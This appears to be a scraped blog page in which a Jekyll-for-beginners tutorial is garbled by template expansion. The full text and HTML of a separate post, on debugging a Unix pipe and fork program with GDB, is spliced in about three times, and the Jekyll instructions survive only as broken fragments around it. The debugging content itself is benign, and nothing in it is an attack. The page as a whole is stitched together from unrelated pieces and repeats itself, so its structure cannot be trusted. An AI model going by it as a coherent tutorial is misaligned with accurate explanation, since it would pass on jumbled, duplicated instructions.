0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]

Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]

And we know the pipe is indeed not closed in parent process. This leads us to third version.

The third version

In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

The third version is here.

Now let’s test the program again.

gcc -o third third.c 
./third /bin/ls /usr/bin/sort

And here is the result on my machine,

README.md
first.c
second.c
third
third.c
Run two programs succeeded!

which is the same as the result of terminal.

Conclusion

In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

We learnt

  • C and Unix skills
    • pipe
    • fork
    • waitpid
    • dup
  • GDB skills
    • catch
    • inferior

indefault.htmlwith the whole content of this file(post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way.

Now let’s create file _layout/default.html with following content:

<!DOCTYPE html>
<html>
	<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Pufan Jiang's personal blog.">
    <meta name="keyword"  content="tech | software">
    <link rel="shortcut icon" href="img/favicon.ico">

    <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>

    <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">

    <!-- Bootstrap Core CSS -->
    <link rel="stylesheet" href="/css/bootstrap.min.css">

    <!-- Custom CSS -->
    <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
    <link rel="stylesheet" href="/css/pufanjiang-blog.css">

    <!-- Pygments Github CSS -->
    <link rel="stylesheet" href="/css/syntax.css">

    <!-- Custom Fonts -->
    <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
    <!-- Hux change font-awesome CDN to qiniu -->
    <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
</head>

	<body>
		<!-- Post Header -->
<header class="intro-header" >
    <div class="container">
        <div class="row">
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                <div class="post-heading">
                    <div class="tags">
                        
                        <a class="tag" href="/tags/#c" title="c">c</a>
                        
                        <a class="tag" href="/tags/#unix" title="unix">unix</a>
                        
                        <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                        
                        <a class="tag" href="/tags/#system" title="system">system</a>
                        
                    </div>
                    <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                    
                    
                    <h2 class="subheading"></h2>
                    
                    <span class="meta">Posted on February 3, 2017</span>
                    <span class="meta">Updated on February 3, 2017</span>
                </div>
            </div>
        </div>
    </div>
</header>

<!-- Post Content -->
<article>
    <div class="container">
        <div class="row">

    <!-- Post Container -->
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                post-container">

				<p>In this article, we’ll walk through a simple example showing</p>

<ul>
  <li>how to use unix pipe for inter-process communication</li>
  <li>how to debug a program of three processes using GDB</li>
</ul>

<!-- excerpt -->
<hr />
<hr />

<h3 id="pre-requists">Pre-requists</h3>

<ul>
  <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
  <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
  <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
  <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
</ul>

<h3 id="the-problem">The problem</h3>

<p>The problem is to</p>

<ol>
  <li>load two pre-built programs</li>
  <li>stream the output of the first program to the second one</li>
  <li>print the result of the second program</li>
  <li>print a finish sentence when both programs finish</li>
</ol>

<p>For example, we want to mimic the action of such bash command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
</code></pre></div></div>

<h3 id="the-first-version">The first version</h3>

<p>Our very first version almost works, it</p>

<ol>
  <li>sets up a pipe for later inter-process communication</li>
  <li>forks two processes</li>
  <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
  <li>loads the pre-built programs to the processes</li>
  <li>prints the finish sentence</li>
</ol>

<p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>

<p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
./first /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Here is the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c
</code></pre></div></div>

<p>And this the output of pipe in terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c
</code></pre></div></div>

<p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>

<p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>

<p>To fix the problem, let’s move on to second version.</p>

<h3 id="the-second-version">The second version</h3>

<p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>

<p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>

<p>Compile and run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
./second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>We will find the program <strong>never</strong> finishes!</p>

<p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>

<p>Compile the program again with debug information and use GDB to execute the program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
</code></pre></div></div>

<p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>

<p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);
</code></pre></div></div>

<p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n
</code></pre></div></div>

<p>This means the first program finishes successfully, but the second one suspends and never returns!</p>

<p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>

<p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
Catchpoint 1 (fork)
</code></pre></div></div>

<p>Next, go to the fork statement at line 84.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147
</code></pre></div></div>

<p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>

<p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second
</code></pre></div></div>

<p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>

<p>Let’s switch to first program (inferior 2) and let it finish.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]
</code></pre></div></div>

<p>Now only two inferiors are left.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    &lt;null&gt;            /bin/ls           
  1    process 6127      second 
</code></pre></div></div>

<p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

</code></pre></div></div>

<p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
</code></pre></div></div>

<p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>

<p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
</code></pre></div></div>

<p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>

<h3 id="the-third-version">The third version</h3>

<p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>

<p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>

<p>Now let’s test the program again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
./third /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>And here is the result on my machine,</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
first.c
second.c
third
third.c
Run two programs succeeded!
</code></pre></div></div>

<p>which is the same as the result of terminal.</p>

<h3 id="conclusion">Conclusion</h3>

<p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>

<p>We learnt</p>

<ul>
  <li>C and Unix skills
    <ul>
      <li>pipe</li>
      <li>fork</li>
      <li>waitpid</li>
      <li>dup</li>
    </ul>
  </li>
  <li>GDB skills
    <ul>
      <li>catch</li>
      <li>inferior</li>
    </ul>
  </li>
</ul>


                <hr>

                <ul class="pager">
                    
                    <li class="previous">
                        <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                    </li>
                    
                    
                    <li class="next">
                        <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                    </li>
                    
                </ul>

                
                <!-- disqus 评论框 start -->
                <div class="comment">
                    <div id="disqus_thread" class="disqus-thread"></div>
                </div>
                <!-- disqus 评论框 end -->
                

            </div>

    <!-- Sidebar Container -->
    <!--
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                sidebar-container" id="toc">
            </div>
    -->
        </div>
    </div>
</article>


<!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
<script type="text/javascript">
    /* * * CONFIGURATION VARIABLES * * */
    var disqus_shortname = "pufan-jiangs-blog";
    var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
    var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";

    (function() {
        var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
        dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
    })();
</script>
<!-- disqus 公共JS代码 end -->


  	</body>
</html>

notice this is a complete HTML file and the ```

Inter-process communication using pipe and multiprocess debugging using GDB

Posted on February 3, 2017 Updated on February 3, 2017

In this article, we’ll walk through a simple example showing

  • how to use unix pipe for inter-process communication
  • how to debug a program of three processes using GDB


Pre-requists

  • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
  • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
  • c language readability (espicially fork, exec)
  • understand I/O redirect (checkout man dup)

The problem

The problem is to

  1. load two pre-built programs
  2. stream the output of the first program to the second one
  3. print the result of the second program
  4. print a finish sentence when both programs finish

For example, we want to mimic the action of such bash command:

/bin/ls | /bin/sort

The first version

Our very first version almost works, it

  1. sets up a pipe for later inter-process communication
  2. forks two processes
  3. modifies pipe for each process, so that the input/output is correctly redirected
  4. loads the pre-built programs to the processes
  5. prints the finish sentence

The C file is here.

Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

gcc -o first first.c
./first /bin/ls /usr/bin/sort

Here is the output:

Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c

And this the output of pipe in terminal:

/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c

We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

To fix the problem, let’s move on to second version.

The second version

At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

The second version is at here. Notice the only difference is two additional lines (105-106).

Compile and run:

gcc -o second second.c
./second /bin/ls /usr/bin/sort

We will find the program never finishes!

Instead of telling you why the program breaks, we will use GDB to find out the reason together.

Compile the program again with debug information and use GDB to execute the program:

gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort

Before everything, let’s set detach-on-fork environment variable of GDB to off.

set detach-on-fork off

By doint this, we could switch between processes easily. More details on this environment at here.

Now let’s set breakpoint at right before waitpid system call and run the program

(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);

Now use next command of GDB to step through the functions.

(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n

This means the first program finishes successfully, but the second one suspends and never returns!

In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

First, let GDB stops when a fork system call is called

(gdb) catch fork
Catchpoint 1 (fork)

Next, go to the fork statement at line 84.

(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147

Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second

Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

Let’s switch to first program (inferior 2) and let it finish.

(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]

Now only two inferiors are left.

(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    <null>            /bin/ls           
  1    process 6127      second 

The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]

Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]

And we know the pipe is indeed not closed in parent process. This leads us to third version.

The third version

In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

The third version is here.

Now let’s test the program again.

gcc -o third third.c 
./third /bin/ls /usr/bin/sort

And here is the result on my machine,

README.md
first.c
second.c
third
third.c
Run two programs succeeded!

which is the same as the result of terminal.

Conclusion

In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

We learnt

  • C and Unix skills
    • pipe
    • fork
    • waitpid
    • dup
  • GDB skills
    • catch
    • inferior

placeholder is where the content ofpost.html``` should fit into.

The {% include foo.ext %}s are straightforward, they will be replaced by contents of _include/foo.ext.

Let’s create file _include/head.html with following content:

<head>
	<meta charset="utf-8">	
</head>

This header has many things missing, but it works for our most simple blog.

Therefore, after replacing everything, the actual HTML file for posts will be

<!DOCTYPE html>
<html>
	<!-- Replace <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Pufan Jiang's personal blog.">
    <meta name="keyword"  content="tech | software">
    <link rel="shortcut icon" href="img/favicon.ico">

    <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>

    <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">

    <!-- Bootstrap Core CSS -->
    <link rel="stylesheet" href="/css/bootstrap.min.css">

    <!-- Custom CSS -->
    <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
    <link rel="stylesheet" href="/css/pufanjiang-blog.css">

    <!-- Pygments Github CSS -->
    <link rel="stylesheet" href="/css/syntax.css">

    <!-- Custom Fonts -->
    <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
    <!-- Hux change font-awesome CDN to qiniu -->
    <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
</head>
 start -->
	<head>
		<meta charset="utf-8">	
	</head>
	<!-- Replace <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Pufan Jiang's personal blog.">
    <meta name="keyword"  content="tech | software">
    <link rel="shortcut icon" href="img/favicon.ico">

    <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>

    <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">

    <!-- Bootstrap Core CSS -->
    <link rel="stylesheet" href="/css/bootstrap.min.css">

    <!-- Custom CSS -->
    <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
    <link rel="stylesheet" href="/css/pufanjiang-blog.css">

    <!-- Pygments Github CSS -->
    <link rel="stylesheet" href="/css/syntax.css">

    <!-- Custom Fonts -->
    <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
    <!-- Hux change font-awesome CDN to qiniu -->
    <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
</head>
 end -->
	
	<body>
	
		<!-- Replace <!-- Post Header -->
<header class="intro-header" >
    <div class="container">
        <div class="row">
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                <div class="post-heading">
                    <div class="tags">
                        
                        <a class="tag" href="/tags/#c" title="c">c</a>
                        
                        <a class="tag" href="/tags/#unix" title="unix">unix</a>
                        
                        <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                        
                        <a class="tag" href="/tags/#system" title="system">system</a>
                        
                    </div>
                    <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                    
                    
                    <h2 class="subheading"></h2>
                    
                    <span class="meta">Posted on February 3, 2017</span>
                    <span class="meta">Updated on February 3, 2017</span>
                </div>
            </div>
        </div>
    </div>
</header>

<!-- Post Content -->
<article>
    <div class="container">
        <div class="row">

    <!-- Post Container -->
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                post-container">

				<p>In this article, we’ll walk through a simple example showing</p>

<ul>
  <li>how to use unix pipe for inter-process communication</li>
  <li>how to debug a program of three processes using GDB</li>
</ul>

<!-- excerpt -->
<hr />
<hr />

<h3 id="pre-requists">Pre-requists</h3>

<ul>
  <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
  <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
  <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
  <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
</ul>

<h3 id="the-problem">The problem</h3>

<p>The problem is to</p>

<ol>
  <li>load two pre-built programs</li>
  <li>stream the output of the first program to the second one</li>
  <li>print the result of the second program</li>
  <li>print a finish sentence when both programs finish</li>
</ol>

<p>For example, we want to mimic the action of such bash command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
</code></pre></div></div>

<h3 id="the-first-version">The first version</h3>

<p>Our very first version almost works, it</p>

<ol>
  <li>sets up a pipe for later inter-process communication</li>
  <li>forks two processes</li>
  <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
